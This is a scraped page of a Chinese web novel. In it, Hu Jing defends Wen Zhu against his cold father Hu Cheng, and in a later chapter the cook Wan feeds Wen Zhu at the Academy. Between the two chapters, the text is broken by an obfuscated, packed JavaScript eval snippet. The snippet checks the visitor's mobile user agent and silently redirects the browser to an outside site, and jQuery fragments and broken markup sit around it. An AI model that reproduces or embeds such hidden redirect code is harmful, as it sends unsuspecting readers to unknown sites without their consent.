动静极大,闻竹一并胡澄等人本能向门外望去,却见闯进来一张熟悉面容。
“把刀放下!”
胡暻眼中含怒,冲持刀的胡通大吼,目光却直盯正中堂上的胡澄。
胡暻身材健壮,力气更是不小,随手拨开几名涌上来阻拦的家丁,将他们推了个踉跄,自己则大步流星闯进屋中。
胡暻破门而入,见闻竹一脸愕然,直接闯到她身前,将她与胡通隔开,怒目而视,缓缓收紧拳头。
方才,爹来院儿里将他好生申斥,他来不及伤怀,便见胡通再次捆了闻竹,领了一群人从他院儿外扬长而去。
胡暻在门内恨恨跺脚——
这个闻修之……实在不中用!
救也救了,帮也帮了,他们本就不熟,他胡暻对他闻修之也算仁至义尽!
胡暻咬了咬牙,本想作罢,可又怕闻竹真被他爹杀了,后背发毛,来来回回转了良久,心下一横,不管不顾地迈出门槛,直直往正院儿闯去。
这会儿在胡暻眼中,自己老爹一脸阴沉,胡通拿刀对着被捆得严实的闻竹,竟一副活脱脱的杀人灭口场面!
望着身前胡暻,座里闻竹忽反应过来,眼里登时亮了——
她有救了!
“把他叉出去。”胡澄转身负手而立,命令毋容置疑。
胡通得令,一抬手,几名壮汉围了上来,朝胡暻步步紧逼。胡暻几乎说不出话来,却没有半分退让,只是满脸不敢相信,望着胡通:
“通叔……你们真要杀了他吗?”
胡通身为看着少爷长大的老仆,见胡暻这副模样,心有不忍,也只能狠心冷脸,按主人吩咐办事:
“大郎回去罢……别让老爷为难——”
话说一半,胡澄转身振袖,冷冷打断:
“胡通,无须多言。”
也是奇了,胡澄对自己的儿子讲话,口气竟如同陌生人一般,使得闻竹颇为震惊。这对父子的关系,竟已僵硬到了如此地步?
见他爹依旧漠然,胡暻心凉了半截儿,凄然一笑,不知从何生出的力气,猛地挣脱被胡通押着的手臂,极快跑到闻竹跟前,倔强地立在她和胡澄胡通之间,拨开一波波涌上来的侍卫:
“起开……都给爷滚!今儿个爷在这不走了!谁敢动我一下?”
胡暻没有武器,只凭着一身蛮力,就算能拖延片刻,哪里挡得住武功高深的胡通?
眼见胡暻渐渐吃力,闻竹暗道不妙,事情的发展,已然超出她的掌握。
几次交往下来,她和胡暻关系虽有所缓和,称好友却实在勉强,胡暻竟愿意三番五次地帮她?闻竹根本想不明白。
情形越发混乱,望着下首胡闹的儿子,胡澄越发火起,一声怒喝砸下:
“够了!”
胡澄常年身居高位,一身威势压人,攒动的人头顿时静止。
胡澄也是真怒了,重重甩袖,指着不争气的儿子高声呵斥:
“蠢材,还要胡闹到何时!”
刻薄的话已听过无数次。遭受父亲正面叱骂,胡暻心无波澜,想起往日种种,直迎着胡澄冷硬的目光,高声道:
“是我胡闹?我再不闹一闹,就要出人命了!爹,他就是我一个同窗,只是带着我玩儿了几次,爹怎的就要喊打喊杀的了?还是一切能让我开心快活些的,爹都要毁掉是吗!”
胡暻打小最爱热闹,最怕寂寞。
一没人搭理他,心儿便空落落的,浑身不自在。
自打他休学在家,曾经酒肉朋友多如鸟兽散,竟只有一个不对付的闻修之愿意同他在一块儿,就算干的都是些不明所以的冒险事……
可他才不在乎这些,只要有几个人在身边,心就不空了!
这唯一能让他开心的事儿,爹竟也要将其夺去……
胡暻盯着他那冷硬的老爹,他爹年轻时,在地方提点刑狱多年,以铁面铁腕,冷厉风行著称,刚直无私,执法如山,人送外号“铁笔判官”。只可惜,这坚硬不仅用在断狱,也被他用在了内帷。
不同于他慈爱的娘,自打胡暻记事起,父亲从未对他展颜笑过,打小冷言斥责、笞手训诫更是常有。胡暻怕他怕得要死,以至做梦梦到,都要惊出一身冷汗。
若胡澄一视同仁也便罢,他还能说服自己——他爹就是这么个性子。可怪就怪在,若对着大姐和二妹,爹怎么既会笑了,又变得慈爱了?
这令他无法自欺欺人。
思及此处,平日霸王似的人,这会儿声音也有些哽咽:
“每每对着大姐二妹她们,你便和颜悦色,怎么每每待我便像仇人一般?我不姓胡,我不是爹的儿子?”
胡暻背对着她,闻竹猜,他应该哭了。
余光里,胡通正在把侍卫看守清离出去。
胡家父子吵架,为何尴尬万分的却是她?闻竹恨不得把自己缩进地缝里,只恨为何不让她一同离开这。
胡澄恨铁不成钢:“吾不都是为了你吗?”
“好,那儿子便问父亲一句——你绑了我太学同窗,是为我哪里好?”
胡澄有一瞬滞涩,捋须的手顿了顿,随即转身背对:
“你任性胡闹,本非可塑之才,经人看顾尚且闯祸不断,若不由我做父亲的严加管束,不知还要惹出什么更大的祸事!”
闻竹睁大了眼,这话实在不留情面,由最亲近的人亲口说出,不知多令人心寒。
本以为胡暻会更加暴怒,他却只淡淡冷笑:
“对……我任性胡闹,我是个惹祸精,可您何曾把我当儿子待了?”
他一抬首,脖子倔强地梗着,语调悲戚:
“上次,你一关我便是半年,门窗封得死死的,每日只有两顿粗饭……做您的儿子,过得还不如下人!”
“十月那会儿,我病得快死了,十几天下不来床,您也不曾来看过我一眼。幸亏……娘回来陪我了,有的时候,还在我耳旁说话呢!还好啊……想着念着她,无论多疼多难受,我倒也能撑下去了……”
由怒转怨,由怨转悲,胡暻声音渐弱,两行清泪划过面容。
提及亡妻,胡澄眼中总算有了几分动容,也仅有几分动容。
他的声音依旧冷硬:
“我找他来,是有要事询问,”
又是沉默良久,胡澄嘴唇翕动,像是做出了巨大的让步,
“并非如你所想。”
伤害的话太多,解释来得太晚,胡暻再也听不进去,也不会相信。
胡暻连连摇头,眼中满是失意,笑得凄然,目光蓦地一凛,像是下了什么决心。
下一瞬,刀啸破空,众人俱是一惊——
胡通失神的片刻,胡暻向前扑去,手臂挥来,钢刀从一侍卫的刀鞘脱出,握在胡暻手中,又将刀锋一转,贴在自己颈子上:
“——放他走!谁若要动手……便连我一起杀了!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889072|172847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“吃吧,孩子。”
两只馒头,一碟咸菜,极简单的餐饭,摆在万厨娘屋里小小的四方桌,竟还略显拥挤。
直到咸辛滋味重新激活味蕾,闻竹才确认,自己依旧活着。
半日水米未进,对着粗茶淡饭,她竟欲落泪。
面前少年呆坐良久,忽而眼光闪烁,似要流下泪来。万厨娘又看了眼简陋得不能再简陋的食物,越发摸不到头脑。
她没看错吧?
唉,这孩子……许是饿急了呢。
就在一刻钟前,万厨娘方忙完手中活计,出门便见公厨外立着一瘦削青年,面乏血色,满脸疲惫。
已过了时辰,这学子许是没赶上公厨晚饭。
因着近来遭遇……万厨娘本不想管太学生们的闲事,可没等她走开,青年一双闪亮亮的眼睛望过来,可怜见的。
想起自己屋里还剩几枚馒头,万厨娘重重一叹,止住脚步,招呼青年来到她廊屋中。
半晌,青年抬头看着她,重重揖礼:
“万娘子恩惠,请务必受闻某一礼。”
一顿饭而已,万厨娘连连摆手,忙道没事,见闻竹能说出她姓氏,分外惊奇:
“公子认识我?”
万娘子是太学公厨的厨娘,资历甚久。她初到太学做工的那年,估计闻竹还在乡野玩泥巴。
闻竹咽下一口馒头:“素闻娘子煲的一手好汤,常听同窗们讲起,都赞不绝口呢!”
万厨娘心中熨帖,对眼前青年多了几分好感,向外招了招手:
“阿倩……来,给闻公子倒茶。”
门帘一挑,一笑盈盈的姑娘走了进来——
万厨娘女儿阿倩是个高挑纤瘦的女孩儿,十三四岁的模样,落落大方,听了母亲的话,忙应了声,转眼见,茶水已到了闻竹手中,她忙道谢:
“多谢阿倩姑娘。”
“公子客气!”
阿倩爽朗一笑,正要走开,又被万厨娘叫住:
“阿倩,”万厨娘让阿倩在桌旁坐下,自己笑着起身往门外去,对闻竹道,“闻公子先吃着,我且去后厨看看有无余的热菜,公子也能多用些!”
万厨娘好意,闻竹忙不迭道谢,在阿倩闪亮亮的好奇目光中自顾自吃饭。
胡家父子对峙,胡澄最终松了口。在胡暻寸步不离的注视下,胡通亲自领她出了胡家。胡暻又一路送她回了太学。
想起胡通的刀,以及城外匪徒的杀招……若没有胥也,她会遭遇什么结果?
闻竹不寒而栗。
胡澄的目的始终没有达到,只怕日后还有事端等着她!
唉——
她重重叹气,引得阿倩不解,掩唇格格轻笑:
“闻公子,你们读书人,每天都要想很多事吧!”
“……姑娘此话怎么说?”
阿倩忍俊不禁:“不然——怎么连吃饭的功夫,都长吁短叹的呢?”
阿倩天真烂漫,连带闻竹心中阴霾消散许多,闻竹笑了,正要同阿倩说些什么,门外几声极为清晰的犬吠中止了对话。
太学怎么会有狗呢?
“小阿倩——”
闻竹正心疑,万厨娘的声音伴随一浑厚男声传入屋内,貌似在交谈。
闻竹放下碗筷,正要起身,阿倩却率先从木椅上弹起,面上瞬时失了血色,双目失神,声音不住颤抖:
“是、是他……他又来了……”